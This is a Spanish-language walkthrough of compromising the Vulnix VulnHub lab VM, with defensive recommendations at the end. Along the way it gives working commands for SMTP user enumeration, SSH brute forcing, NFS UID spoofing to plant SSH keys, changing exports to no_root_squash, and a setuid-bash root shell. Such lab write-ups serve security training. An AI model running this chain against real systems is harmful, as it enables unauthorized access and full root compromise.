Auditando a Vulnix – Vulnhub

Lo primero de todo vamos a descargar y  montar la maquina virtual en nuestro equipo y a arrancar otra maquina en paralelo con Kali/Backtrack.

Para localizar dentro de la red la maquina a la que estábamos intentando acceder y auditar hemos lanzado un PING SWEEP con NMAP.

PING SWEEP – Es una técnica usada para determinar que IPs se encuentran en funcionamiento dentro de una red, haciendo un recorrido por todas ellas lanzando mensajes ICMP ECHO REQUEST y cuando encuentra una maquina activa recibe un ICMP ECHO REPLY.

nmap -sP 192.168.174.*

Como se puede apreciar en la imagen la maquina que buscamos en este caso es : 192.168.174.128

Ahora vamos a ser un poco más concretos y vamos a escanear en busca del sistema operativo de la maquina:

nmap -O 192.168.174.128

Ahora sabemos que la maquina es un servidor con un sistema Operativo Linux que corre la versión de Kernel 2.6.32 – 3.9. Escaneamos la maquina con mas detalle para saber que servicios están corriendo en ella y que puertos tiene abiertos:

nmap -O -sV 192.168.174.128

Vemos que tiene varios puertos que son interesantes en este caso.

SMTP – Es el protocolo estándar de Internet para el intercambio de correo electrónico y responde a las siglas de Protocolo Simple de Transmisión de Correo (Simple Mail Transfer Protocol).

Para ser un poco más claro,  al momento de enviar un correo electrónico utilizamos como medio un servidor SMTP que es el encargado de hacer llegar el correo a su destino, lo podemos comparar con el servicio postal, para hacer entrega del correo necesitamos de tres datos importantes el origen, el destino y el medio que es el servidor SMTP.

Este protocolo en concreto nos puede dar la llave a través de auxiliares de metasploit a nombres de usuarios del sistema que lo utilizan así que lanzamos metasploit para ver cual es el resultado:

1
2
3
4
5
6
7

service postgresql start
service metasploit start
msfconsole
use auxiliary/scanner/smtp/smtp_enum
show options
set rhosts 192.168.174.128
run

Ahí se puede ver en el resultado de Metasploit que nos ha sacado 3 usuarios validos:
USER, UUCP y www-data

Como tenemos ya usuarios vamos a utilizar FINGER

FINGER – El daemon fingerd devuelve información sobre los usuarios conectados actualmente a un sistema principal remoto especificado. Si ejecuta el mandato finger especificando un usuario en un sistema principal determinado, obtendrá información específica sobre dicho usuario.

finger user@192.168.174.128 

Al lanzar el comando nos retorna esta información sobre el usuario USER:

El usuario USER según esto tiene como Shell predeterminada BASH y como Directorio propio /home/user

Visto que tenemos un usuario valido para poder entrar por el puerto22 SSH de la maquina lanzamos un ataque por fuerza bruta con XHydra contra dicho protocolo para conseguir la clave de usuario de USER:

Ya tenemos la clave del usuario USER que es LETMEIN así que vamos a ingresar en el servidor por SSH aportando las credenciales que hemos capturado.

ssh user@192.168.174.128

Nos permite la entrada sin problemas así que navegamos por las carpetas que están disponibles y probamos comandos para saber que alcance tiene este usuario:

sudo su

Claramente no nos permite hacernos con permisos administrador a no ser que tengamos la clave para ello.Como vemos que no nos permite grandes cosas (Si trastead… probad a abrir carpetas… y buscad!) vamos a ver si existe algún indicio de otros usuarios que podamos utilizar para continuar. Durante la búsqueda si entramos en la carpeta /home nos topamos esto:

ls -a 

Encontramos otro usuario o al menos una carpeta que nos esta denegando el permiso de entrada llamada vulnix. Para comprobar si esto es simplemente una carpeta o si se trata de un usuario accedemos al archivo /etc/passwd.

Desde nuestra maquina atacante comprobamos si el equipo auditado contiene carpetas compartidas:

showmount --exports 192.168.174.128

Y resulta que la carpeta compartida es la carpeta propia del usuario VULNIX… lo cual no tenemos acceso.

Como la carpeta es compartida lo que vamos a hacer es simular que en nuestro sistema esta esa misma carpeta intentando ganar acceso por ssh al usuario Vulnix de la maquina.

Creamos en nuestra maquina una carpeta que se llame /mnt/vulnix (mnt porque es la terminología para las carpetas montadas en red)

mkdir /mnt/vulnix

Asociamos esta carpeta con la que se encuentra en el servidor VULNIX

mount 192.168.174.128:/home/vulnix /mnt/vulnix

Creamos un usuario con las mismas características que el usuario VULNIX original para poder utilizar todas sus funcionalidades originales sin que genere ningún tipo de error :

useradd vulnix -u 2008

Generamos con ssh-keygen una clave RSA para nuestro usuario VULNIX que nos permitira autenticarnos en la maquina original.

ssh-keygen

Y copiamos la clave RSA en la carpeta tmp que es la única carpeta accesible para todos los usuarios del sistema.

cp /root/.ssh/id_rsa.pub /tmp

Cambiamos el propietario del archivo rsa que hemos dejado en tmp:

chown vulnix:vulnix /tmp/id_rsa.pub

Nos logueamos con el usuario que hemos creado y traspasamos la clave RSA que habíamos creado inicialmente a nuestro usuario dentro de su carpeta .ssh para que al entrar por ssh nos lea directamente el archivo y poder engañar al sistema.

1
2
3

su vulnix
mkdir /mnt/vulnix/.ssh
cat /tmp/id_rsa.pub >> /mnt/vulnix/.ssh/authorized_keys

Nos logueamos vía ssh en la maquina a atacar con el usuario vulnix y voila!

ssh vulnix@192.168.174.128

Tras navegar por las diferentes carpetas y ver el alcance que tiene este usuario probamos a ver si tiene algún permiso root al ejecutar algo:

1

sudo -l

Según indica si se abre el archivo /etc/exports con el comando sudoedit nos permite hacer cambios sobre el archivo y guardarlo con permiso root.

Si cambiamos el archivo original en el que pone ROOT_SQUASH y añadimos el NO _ por delante nos encontramos que :

• root_squash: El usuario root de los clientes se mapea a nobody: Así un cliente no puede dejar malware para que otro lo ejecute, así com el setuid bit.

• no_root_squash: Mediante dicha opción desactivamos esta característica de seguridad, permitiendo que el root de los clientes acabe como root en el sistema de ficheros que se exporta (y por lo tanto, en el resto de clientes).

Con lo cual lo cambiamos y lo dejamos con NO ROOT SQUASH para ganar privilegios root en archivos.

Para que estos cambios surtan efecto desmontamos la unión de la carpeta VULNIX y reiniciamos el equipo atacado.

umount /mnt/vulnix

Esperamos a que la maquina vuelva a funcionar (lo comprobamos haciéndole ping) y volvemos a montar la carpeta compartida de vulnix.

mount 192.168.174.128:home/vulnix /mnt/vulnix

Una vez conectado como sabemos que la Shell que utilizan los usuarios de la maquina es BASH lo que hacemos es copiar BASH en nuestra carpeta del usuario vulnix de nuestro sistema y le cambiamos los permisos pudiendo manejarse como root:

1
2

cp /bin/bash /mnt/vulnix
chmod 4777 /mnt/vulnix/bash

Hecho esto vamos a volver a acceder por SSH al servidor VULNIX para intentar lanzar una Shell de ROOT.

ssh vulnix@192.168.174.128

/home/vulnix/bash -p

Como se puede observar ahora ya somos dueños y señores de todo y podemos hacer lo que nos venga en gana por el sistema teniendo control absoluto sobre el. Así que aprovechamos para poder mirar en la carpeta root por si encontramos información interesante.

1
2

cd /root/
ls -a

cat thropy.txt

Como conclusión y subsanación de los problemas encontrados podemos indicar este tipo de arreglos:

1º Una mejor política de contraseñas.
O bien utilizar un generador de contraseñas seguras que además obligue al usuario a cambiar cada X tiempo la contraseña o bien que la contraseña contenga mas de 8 dígitos y que tenga símbolos números letras, mayúsculas y minúsculas. Para hacer que sea mucho mas complicado para el atacante sacarlas a fuerza bruta.

2º Evitar las carpetas compartidas
En este caso el mayor agujero de seguridad han sido las carpetas compartidas de un usuario que junto a la mala configuración nos ha dado la entrada al servidor.

3º Utilizar protocolos seguros
En el caso de SMTP nos ha dado información que en caso de estar bien configurado no debería de dar… lo que nos ha dado pie a comenzar el ataque.

4º Cerrar Puertos
Otro ejemplo de mala configuración es el caso de FINGER ya que si no es necesario debería de estar cerrado para la red para evitar mostrar datos innecesarios. Los Puertos en la mayoria de sistemas se pueden trucar para mostrar informacion que no sea veraz y engañar a un atacante.

5º Limitar accesos

Lo máximo posible teniendo en cuenta las necesidades del usuario, no vamos a cortarles todo ya que hay cosas que pueden ser necesarias para desempeñar su trabajo.

Implementar unas reglas a nivel de empresa para que tras X números de intentos se bloquee ese usuario y se contacte con el usuario desde sistemas para desbloquearlo con una clave previamente acordada.